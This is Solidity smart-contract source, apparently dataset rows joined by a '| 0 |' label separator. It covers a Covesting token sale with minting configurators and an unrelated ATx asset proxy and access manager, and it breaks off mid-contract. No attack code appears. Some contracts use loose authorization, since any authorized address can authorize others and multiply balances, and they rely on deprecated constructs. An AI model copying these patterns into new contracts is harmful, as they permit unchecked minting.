totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
}
contract TestConfigurator is Ownable {
CovestingToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
token = new CovestingToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5,300);
presale.setMultisigWallet(0x055fa3f2DAc0b9Db661A4745965DDD65490d56A8);
presale.setStart(1507208400);
presale.setPeriod(2);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(1,200);
mainsale.addStage(2,100);
mainsale.setMultisigWallet(0x4d9014eF9C3CE5790A326775Bd9F609969d1BF4f);
mainsale.setFoundersTokensWallet(0x59b398bBED1CC6c82b337B3Bd0ad7e4dCB7d4de3);
mainsale.setBountyTokensWallet(0x555635F2ea026ab65d7B44526539E0aB3874Ab24);
mainsale.setStart(1507467600);
mainsale.setPeriod(2);
mainsale.setLockPeriod(1);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
}
contract Configurator is Ownable {
CovestingToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
token = new CovestingToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5000,300);
presale.setMultisigWallet(0x6245C05a6fc205d249d0775769cfE73CB596e57D);
presale.setStart(1508504400);
presale.setPeriod(30);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(5000,200);
mainsale.addStage(5000,180);
mainsale.addStage(10000,170);
mainsale.addStage(20000,160);
mainsale.addStage(20000,150);
mainsale.addStage(40000,130);
mainsale.setMultisigWallet(0x15A071B83396577cCbd86A979Af7d2aBa9e18970);
mainsale.setFoundersTokensWallet(0x25ED4f0D260D5e5218D95390036bc8815Ff38262);
mainsale.setBountyTokensWallet(0x717bfD30f039424B049D918F935DEdD069B66810);
mainsale.setStart(1511222400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
}
contract UpdateMainsale is CommonSale {
enum Currency { BTC, LTC, ZEC, DASH, WAVES, USD, EUR }
event ExternalSale(
Currency _currency,
bytes32 _txIdSha3,
address indexed _buyer,
uint256 _amountWei,
uint256 _tokensE18
);
event NotifierChanged(
address indexed _oldAddress,
address indexed _newAddress
);
address public notifier;
mapping(uint8 => mapping(bytes32 => uint256)) public externalTxs;
uint256 public totalExternalSales = 0;
modifier canNotify() {
require(msg.sender == owner || msg.sender == notifier);
_;
}
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public percentRate = 100;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint summaryFoundersTokens = mintedTokens.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + mintedTokens;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.lock(foundersTokensWallet, lockPeriod * 1 days);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
function setNotifier(address _notifier) public onlyOwner {
NotifierChanged(notifier, _notifier);
notifier = _notifier;
}
function externalSales(
uint8[] _currencies,
bytes32[] _txIdSha3,
address[] _buyers,
uint256[] _amountsWei,
uint256[] _tokensE18
) public whenNotPaused canNotify {
require(_currencies.length > 0);
require(_currencies.length == _txIdSha3.length);
require(_currencies.length == _buyers.length);
require(_currencies.length == _amountsWei.length);
require(_currencies.length == _tokensE18.length);
for (uint i = 0; i < _txIdSha3.length; i++) {
_externalSaleSha3(
Currency(_currencies[i]),
_txIdSha3[i],
_buyers[i],
_amountsWei[i],
_tokensE18[i]
);
}
}
function _externalSaleSha3(
Currency _currency,
bytes32 _txIdSha3,
address _buyer,
uint256 _amountWei,
uint256 _tokensE18
) internal {
require(_buyer > 0 && _amountWei > 0 && _tokensE18 > 0);
var txsByCur = externalTxs[uint8(_currency)];
require(txsByCur[_txIdSha3] == 0);
txsByCur[_txIdSha3] = _tokensE18;
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
token.mint(this, _tokensE18);
token.transfer(_buyer, _tokensE18);
totalTokensMinted = totalTokensMinted.add(_tokensE18);
totalExternalSales++;
totalInvested = totalInvested.add(_amountWei);
stage.invested = stage.invested.add(_amountWei);
if (stage.invested >= stage.hardcap) {
stage.closed = now;
}
ExternalSale(_currency, _txIdSha3, _buyer, _amountWei, _tokensE18);
}
function btcId() public constant returns (uint8) {
return uint8(Currency.BTC);
}
function ltcId() public constant returns (uint8) {
return uint8(Currency.LTC);
}
function zecId() public constant returns (uint8) {
return uint8(Currency.ZEC);
}
function dashId() public constant returns (uint8) {
return uint8(Currency.DASH);
}
function wavesId() public constant returns (uint8) {
return uint8(Currency.WAVES);
}
function usdId() public constant returns (uint8) {
return uint8(Currency.USD);
}
function eurId() public constant returns (uint8) {
return uint8(Currency.EUR);
}
function _tokensByTx(Currency _currency, string _txId) internal constant returns (uint256) {
return tokensByTx(uint8(_currency), _txId);
}
function tokensByTx(uint8 _currency, string _txId) public constant returns (uint256) {
return externalTxs[_currency][keccak256(_txId)];
}
function tokensByBtcTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.BTC, _txId);
}
function tokensByLtcTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.LTC, _txId);
}
function tokensByZecTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.ZEC, _txId);
}
function tokensByDashTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.DASH, _txId);
}
function tokensByWavesTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.WAVES, _txId);
}
function tokensByUsdTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.USD, _txId);
}
function tokensByEurTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.EUR, _txId);
}
}
contract UpdateConfigurator is Ownable {
CovestingToken public token;
UpdateMainsale public mainsale;
function deploy() public onlyOwner {
mainsale = new UpdateMainsale();
token = CovestingToken(0xE2FB6529EF566a080e6d23dE0bd351311087D567);
mainsale.setToken(token);
mainsale.addStage(5000,200);
mainsale.addStage(5000,180);
mainsale.addStage(10000,170);
mainsale.addStage(20000,160);
mainsale.addStage(20000,150);
mainsale.addStage(40000,130);
mainsale.setMultisigWallet(0x15A071B83396577cCbd86A979Af7d2aBa9e18970);
mainsale.setFoundersTokensWallet(0x25ED4f0D260D5e5218D95390036bc8815Ff38262);
mainsale.setBountyTokensWallet(0x717bfD30f039424B049D918F935DEdD069B66810);
mainsale.setStart(1511528400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
mainsale.setNotifier(owner);
mainsale.transferOwnership(owner);
}
}
contract IncreaseTokensOperator is Ownable {
using SafeMath for uint256;
mapping (address => bool) public authorized;
mapping (address => bool) public minted;
address[] public mintedList;
CovestingToken public token;
uint public increaseK = 10;
modifier onlyAuthorized() {
require(owner == msg.sender || authorized[msg.sender]);
_;
}
function extraMint(address tokenHolder) public onlyAuthorized {
uint value = token.balanceOf(tokenHolder);
uint targetValue = value.mul(increaseK);
uint diffValue = targetValue.sub(value);
token.mint(this, diffValue);
token.transfer(tokenHolder, diffValue);
minted[tokenHolder] = true;
mintedList.push(tokenHolder);
}
function extraMintArray(address[] tokenHolders) public onlyAuthorized {
for(uint i = 0; i < tokenHolders.length; i++) {
address tokenHolder = tokenHolders[i];
require(!minted[tokenHolder]);
uint value = token.balanceOf(tokenHolder);
uint targetValue = value.mul(increaseK);
uint diffValue = targetValue.sub(value);
token.mint(this, diffValue);
token.transfer(tokenHolder, diffValue);
minted[tokenHolder] = true;
mintedList.push(tokenHolder);
}
}
function setIncreaseK(uint newIncreaseK) public onlyOwner {
increaseK = newIncreaseK;
}
function setToken(address newToken) public onlyOwner {
token = CovestingToken(newToken);
}
function authorize(address to) public onlyAuthorized {
require(!authorized[to]);
authorized[to] = true;
}
function unauthorize(address to) public onlyAuthorized {
require(authorized[to]);
authorized[to] = false;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract OracleMethodAdapter is Object {
event OracleAdded(bytes4 _sig, address _oracle);
event OracleRemoved(bytes4 _sig, address _oracle);
mapping(bytes4 => mapping(address => bool)) public oracles;
modifier onlyOracle {
if (oracles[msg.sig][msg.sender]) {
_;
}
}
modifier onlyOracleOrOwner {
if (oracles[msg.sig][msg.sender] || msg.sender == contractOwner) {
_;
}
}
function addOracles(
bytes4[] _signatures,
address[] _oracles
)
onlyContractOwner
external
returns (uint)
{
require(_signatures.length == _oracles.length);
bytes4 _sig;
address _oracle;
for (uint _idx = 0; _idx < _signatures.length; ++_idx) {
(_sig, _oracle) = (_signatures[_idx], _oracles[_idx]);
if (_oracle != 0x0
&& _sig != bytes4(0)
&& !oracles[_sig][_oracle]
) {
oracles[_sig][_oracle] = true;
_emitOracleAdded(_sig, _oracle);
}
}
return OK;
}
function removeOracles(
bytes4[] _signatures,
address[] _oracles
)
onlyContractOwner
external
returns (uint)
{
require(_signatures.length == _oracles.length);
bytes4 _sig;
address _oracle;
for (uint _idx = 0; _idx < _signatures.length; ++_idx) {
(_sig, _oracle) = (_signatures[_idx], _oracles[_idx]);
if (_oracle != 0x0
&& _sig != bytes4(0)
&& oracles[_sig][_oracle]
) {
delete oracles[_sig][_oracle];
_emitOracleRemoved(_sig, _oracle);
}
}
return OK;
}
function _emitOracleAdded(bytes4 _sig, address _oracle) internal {
OracleAdded(_sig, _oracle);
}
function _emitOracleRemoved(bytes4 _sig, address _oracle) internal {
OracleRemoved(_sig, _oracle);
}
}
contract DataControllerInterface {
function isHolderAddress(address _address) public view returns (bool);
function allowance(address _user) public view returns (uint);
function changeAllowance(address _holder, uint _value) public returns (uint);
}
contract ServiceControllerInterface {
function isService(address _address) public view returns (bool);
}
contract ATxAssetInterface {
DataControllerInterface public dataController;
ServiceControllerInterface public serviceController;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function __process(bytes , address ) payable public {
revert();
}
}
contract ServiceAllowance {
function isTransferAllowed(address _from, address _to, address _sender, address _token, uint _value) public view returns (bool);
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Platform {
mapping(bytes32 => address) public proxies;
function name(bytes32 _symbol) public view returns (string);
function setProxy(address _address, bytes32 _symbol) public returns (uint errorCode);
function isOwner(address _owner, bytes32 _symbol) public view returns (bool);
function totalSupply(bytes32 _symbol) public view returns (uint);
function balanceOf(address _holder, bytes32 _symbol) public view returns (uint);
function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint);
function baseUnit(bytes32 _symbol) public view returns (uint8);
function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public returns (uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint errorCode);
function reissueAsset(bytes32 _symbol, uint _value) public returns (uint errorCode);
function revokeAsset(bytes32 _symbol, uint _value) public returns (uint errorCode);
function isReissuable(bytes32 _symbol) public view returns (bool);
function changeOwnership(bytes32 _symbol, address _newOwner) public returns (uint errorCode);
}
contract ATxAssetProxy is ERC20, Object, ServiceAllowance {
uint constant UPGRADE_FREEZE_TIME = 3 days;
using SafeMath for uint;
event UpgradeProposal(address newVersion);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
Platform public platform;
bytes32 public smbl;
string public name;
modifier onlyPlatform() {
if (msg.sender == address(platform)) {
_;
}
}
modifier onlyAssetOwner() {
if (platform.isOwner(msg.sender, smbl)) {
_;
}
}
modifier onlyAccess(address _sender) {
if (getLatestVersion() == msg.sender) {
_;
}
}
function() public payable {
_getAsset().__process.value(msg.value)(msg.data, msg.sender);
}
function init(Platform _platform, string _symbol, string _name) public returns (bool) {
if (address(platform) != 0x0) {
return false;
}
platform = _platform;
symbol = _symbol;
smbl = stringToBytes32(_symbol);
name = _name;
return true;
}
function totalSupply() public view returns (uint) {
return platform.totalSupply(smbl);
}
function balanceOf(address _owner) public view returns (uint) {
return platform.balanceOf(_owner, smbl);
}
function allowance(address _from, address _spender) public view returns (uint) {
return platform.allowance(_from, _spender, smbl);
}
function decimals() public view returns (uint8) {
return platform.baseUnit(smbl);
}
function transfer(address _to, uint _value) public returns (bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, "");
}
else {
return false;
}
}
function transferWithReference(address _to, uint _value, string _reference) public returns (bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, _reference);
}
else {
return false;
}
}
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
if (_to != 0x0) {
return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender);
}
else {
return false;
}
}
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK;
}
function approve(address _spender, uint _value) public returns (bool) {
if (_spender != 0x0) {
return _getAsset().__approve(_spender, _value, msg.sender);
}
else {
return false;
}
}
function __approve(address _spender, uint _value, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyApprove(_spender, _value, smbl, _sender) == OK;
}
function emitTransfer(address _from, address _to, uint _value) public onlyPlatform() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) public onlyPlatform() {
Approval(_from, _spender, _value);
}
function getLatestVersion() public view returns (address) {
return latestVersion;
}
function getPendingVersion() public view returns (address) {
return pendingVersion;
}
function getPendingVersionTimestamp() public view returns (uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) public onlyAssetOwner returns (bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
function purgeUpgrade() public onlyAssetOwner returns (bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() public returns (bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp.add(UPGRADE_FREEZE_TIME) > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function isTransferAllowed(address, address, address, address, uint) public view returns (bool) {
return true;
}
function _getAsset() internal view returns (ATxAssetInterface) {
return ATxAssetInterface(getLatestVersion());
}
function _transferWithReference(address _to, uint _value, string _reference) internal returns (bool) {
return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender);
}
function stringToBytes32(string memory source) private pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
}
contract DataControllerEmitter {
event CountryCodeAdded(uint _countryCode, uint _countryId, uint _maxHolderCount);
event CountryCodeChanged(uint _countryCode, uint _countryId, uint _maxHolderCount);
event HolderRegistered(bytes32 _externalHolderId, uint _accessIndex, uint _countryCode);
event HolderAddressAdded(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex);
event HolderAddressRemoved(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex);
event HolderOperationalChanged(bytes32 _externalHolderId, bool _operational);
event DayLimitChanged(bytes32 _externalHolderId, uint _from, uint _to);
event MonthLimitChanged(bytes32 _externalHolderId, uint _from, uint _to);
event Error(uint _errorCode);
function _emitHolderAddressAdded(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex) internal {
HolderAddressAdded(_externalHolderId, _holderPrototype, _accessIndex);
}
function _emitHolderAddressRemoved(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex) internal {
HolderAddressRemoved(_externalHolderId, _holderPrototype, _accessIndex);
}
function _emitHolderRegistered(bytes32 _externalHolderId, uint _accessIndex, uint _countryCode) internal {
HolderRegistered(_externalHolderId, _accessIndex, _countryCode);
}
function _emitHolderOperationalChanged(bytes32 _externalHolderId, bool _operational) internal {
HolderOperationalChanged(_externalHolderId, _operational);
}
function _emitCountryCodeAdded(uint _countryCode, uint _countryId, uint _maxHolderCount) internal {
CountryCodeAdded(_countryCode, _countryId, _maxHolderCount);
}
function _emitCountryCodeChanged(uint _countryCode, uint _countryId, uint _maxHolderCount) internal {
CountryCodeChanged(_countryCode, _countryId, _maxHolderCount);
}
function _emitDayLimitChanged(bytes32 _externalHolderId, uint _from, uint _to) internal {
DayLimitChanged(_externalHolderId, _from, _to);
}
function _emitMonthLimitChanged(bytes32 _externalHolderId, uint _from, uint _to) internal {
MonthLimitChanged(_externalHolderId, _from, _to);
}
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
contract GroupsAccessManagerEmitter {
event UserCreated(address user);
event UserDeleted(address user);
event GroupCreated(bytes32 groupName);
event GroupActivated(bytes32 groupName);
event GroupDeactivated(bytes32 groupName);
event UserToGroupAdded(address user, bytes32 groupName);
event UserFromGroupRemoved(address user, bytes32 groupName);
}
contract GroupsAccessManager is Object, GroupsAccessManagerEmitter {
uint constant USER_MANAGER_SCOPE = 111000;
uint constant USER_MANAGER_MEMBER_ALREADY_EXIST = USER_MANAGER_SCOPE + 1;
uint constant USER_MANAGER_GROUP_ALREADY_EXIST = USER_MANAGER_SCOPE + 2;
uint constant USER_MANAGER_OBJECT_ALREADY_SECURED = USER_MANAGER_SCOPE + 3;
uint constant USER_MANAGER_CONFIRMATION_HAS_COMPLETED = USER_MANAGER_SCOPE + 4;
uint constant USER_MANAGER_USER_HAS_CONFIRMED = USER_MANAGER_SCOPE + 5;
uint constant USER_MANAGER_NOT_ENOUGH_GAS = USER_MANAGER_SCOPE + 6;
uint constant USER_MANAGER_INVALID_INVOCATION = USER_MANAGER_SCOPE + 7;
uint constant USER_MANAGER_DONE = USER_MANAGER_SCOPE + 11;
uint constant USER_MANAGER_CANCELLED = USER_MANAGER_SCOPE + 12;
using SafeMath for uint;
struct Member {
address addr;
uint groupsCount;
mapping(bytes32 => uint) groupName2index;
mapping(uint => uint) index2globalIndex;
}
struct Group {
bytes32 name;
uint priority;
uint membersCount;
mapping(address => uint) memberAddress2index;
mapping(uint => uint) index2globalIndex;
}
uint public membersCount;
mapping(uint => address) index2memberAddress;
mapping(address => uint) memberAddress2index;
mapping(address => Member) address2member;
uint public groupsCount;
mapping(uint => bytes32) index2groupName;
mapping(bytes32 => uint) groupName2index;
mapping(bytes32 => Group) groupName2group;
mapping(bytes32 => bool) public groupsBlocked;
function() payable public {
revert();
}
function registerUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
if (isRegisteredUser(_user)) {
return USER_MANAGER_MEMBER_ALREADY_EXIST;
}
uint _membersCount = membersCount.add(1);
membersCount = _membersCount;
memberAddress2index[_user] = _membersCount;
index2memberAddress[_membersCount] = _user;
address2member[_user] = Member(_user, 0);
UserCreated(_user);
return OK;
}
function unregisterUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
uint _memberIndex = memberAddress2index[_user];
if (_memberIndex == 0 || address2member[_user].groupsCount != 0) {
return USER_MANAGER_INVALID_INVOCATION;
}
uint _membersCount = membersCount;
delete memberAddress2index[_user];
if (_memberIndex != _membersCount) {
address _lastUser = index2memberAddress[_membersCount];
index2memberAddress[_memberIndex] = _lastUser;
memberAddress2index[_lastUser] = _memberIndex;
}
delete address2member[_user];
delete index2memberAddress[_membersCount];
delete memberAddress2index[_user];
membersCount = _membersCount.sub(1);
UserDeleted(_user);
return OK;
}
function createGroup(bytes32 _groupName, uint _priority) external onlyContractOwner returns (uint) {
require(_groupName != bytes32(0));
if (isGroupExists(_groupName)) {
return USER_MANAGER_GROUP_ALREADY_EXIST;
}
uint _groupsCount = groupsCount.add(1);
groupName2index[_groupName] = _groupsCount;
index2groupName[_groupsCount] = _groupName;
groupName2group[_groupName] = Group(_groupName, _priority, 0);
groupsCount = _groupsCount;
GroupCreated(_groupName);
return OK;
}
function changeGroupActiveStatus(bytes32 _groupName, bool _blocked) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
groupsBlocked[_groupName] = _blocked;
return OK;
}
function addUsersToGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
require(_memberIndex != 0);
if (_group.memberAddress2index[_user] != 0) {
continue;
}
_groupMembersCount = _groupMembersCount.add(1);
_group.memberAddress2index[_user] = _groupMembersCount;
_group.index2globalIndex[_groupMembersCount] = _memberIndex;
_addGroupToMember(_user, _groupName);
UserToGroupAdded(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
function removeUsersFromGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
uint _groupMemberIndex = _group.memberAddress2index[_user];
if (_memberIndex == 0 || _groupMemberIndex == 0) {
continue;
}
if (_groupMemberIndex != _groupMembersCount) {
uint _lastUserGlobalIndex = _group.index2globalIndex[_groupMembersCount];
address _lastUser = index2memberAddress[_lastUserGlobalIndex];
_group.index2globalIndex[_groupMemberIndex] = _lastUserGlobalIndex;
_group.memberAddress2index[_lastUser] = _groupMemberIndex;
}
delete _group.memberAddress2index[_user];
delete _group.index2globalIndex[_groupMembersCount];
_groupMembersCount = _groupMembersCount.sub(1);
_removeGroupFromMember(_user, _groupName);
UserFromGroupRemoved(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
function isRegisteredUser(address _user) public view returns (bool) {
return memberAddress2index[_user] != 0;
}
function isUserInGroup(bytes32 _groupName, address _user) public view returns (bool) {
return isRegisteredUser(_user) && address2member[_user].groupName2index[_groupName] != 0;
}
function isGroupExists(bytes32 _groupName) public view returns (bool) {
return groupName2index[_groupName] != 0;
}
function getGroups() public view returns (bytes32[] _groups) {
uint _groupsCount = groupsCount;
_groups = new bytes32[](_groupsCount);
for (uint _groupIdx = 0; _groupIdx < _groupsCount; ++_groupIdx) {
_groups[_groupIdx] = index2groupName[_groupIdx + 1];
}
}
function _removeGroupFromMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount;
uint _memberGroupIndex = _member.groupName2index[_groupName];
if (_memberGroupIndex != _memberGroupsCount) {
uint _lastGroupGlobalIndex = _member.index2globalIndex[_memberGroupsCount];
bytes32 _lastGroupName = index2groupName[_lastGroupGlobalIndex];
_member.index2globalIndex[_memberGroupIndex] = _lastGroupGlobalIndex;
_member.groupName2index[_lastGroupName] = _memberGroupIndex;
}
delete _member.groupName2index[_groupName];
delete _member.index2globalIndex[_memberGroupsCount];
_member.groupsCount = _memberGroupsCount.sub(1);
}
function _addGroupToMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount.add(1);
_member.groupName2index[_groupName] = _memberGroupsCount;
_member.index2globalIndex[_memberGroupsCount] = groupName2index[_groupName];
_member.groupsCount = _memberGroupsCount;
}
}
contract PendingManagerEmitter {
event PolicyRuleAdded(bytes4 sig, address contractAddress, bytes32 key, bytes32 groupName, uint acceptLimit, uint declinesLimit);
event PolicyRuleRemoved(bytes4 sig, address contractAddress, bytes32 key, bytes32 groupName);
event ProtectionTxAdded(bytes32 key, bytes32 sig, uint blockNumber);
event ProtectionTxAccepted(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event ProtectionTxDone(bytes32 key);
event ProtectionTxDeclined(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event ProtectionTxCancelled(bytes32 key);
event ProtectionTxVoteRevoked(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event TxDeleted(bytes32 key);
event Error(uint errorCode);
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
contract PendingManagerInterface {
function signIn(address _contract) external returns (uint);
function signOut(address _contract) external returns (uint);
function addPolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName,
uint _acceptLimit,
uint _declineLimit
)
external returns (uint);
function removePolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName
)
external returns (uint);
function addTx(bytes32 _key, bytes4 _sig, address _contract) external returns (uint);
function deleteTx(bytes32 _key) external returns (uint);
function accept(bytes32 _key, bytes32 _votingGroupName) external returns (uint);
function decline(bytes32 _key, bytes32 _votingGroupName) external returns (uint);
function revoke(bytes32 _key) external returns (uint);
function hasConfirmedRecord(bytes32 _key) public view returns (uint);
function getPolicyDetails(bytes4 _sig, address _contract) public view returns (
bytes32[] _groupNames,
uint[] _acceptLimits,
uint[] _declineLimits,
uint _totalAcceptedLimit,
uint _totalDeclinedLimit
);
}
contract PendingManager is Object, PendingManagerEmitter, PendingManagerInterface {
uint constant NO_RECORDS_WERE_FOUND = 4;
uint constant PENDING_MANAGER_SCOPE = 4000;
uint constant PENDING_MANAGER_INVALID_INVOCATION = PENDING_MANAGER_SCOPE + 1;
uint constant PENDING_MANAGER_HASNT_VOTED = PENDING_MANAGER_SCOPE + 2;
uint constant PENDING_DUPLICATE_TX = PENDING_MANAGER_SCOPE + 3;
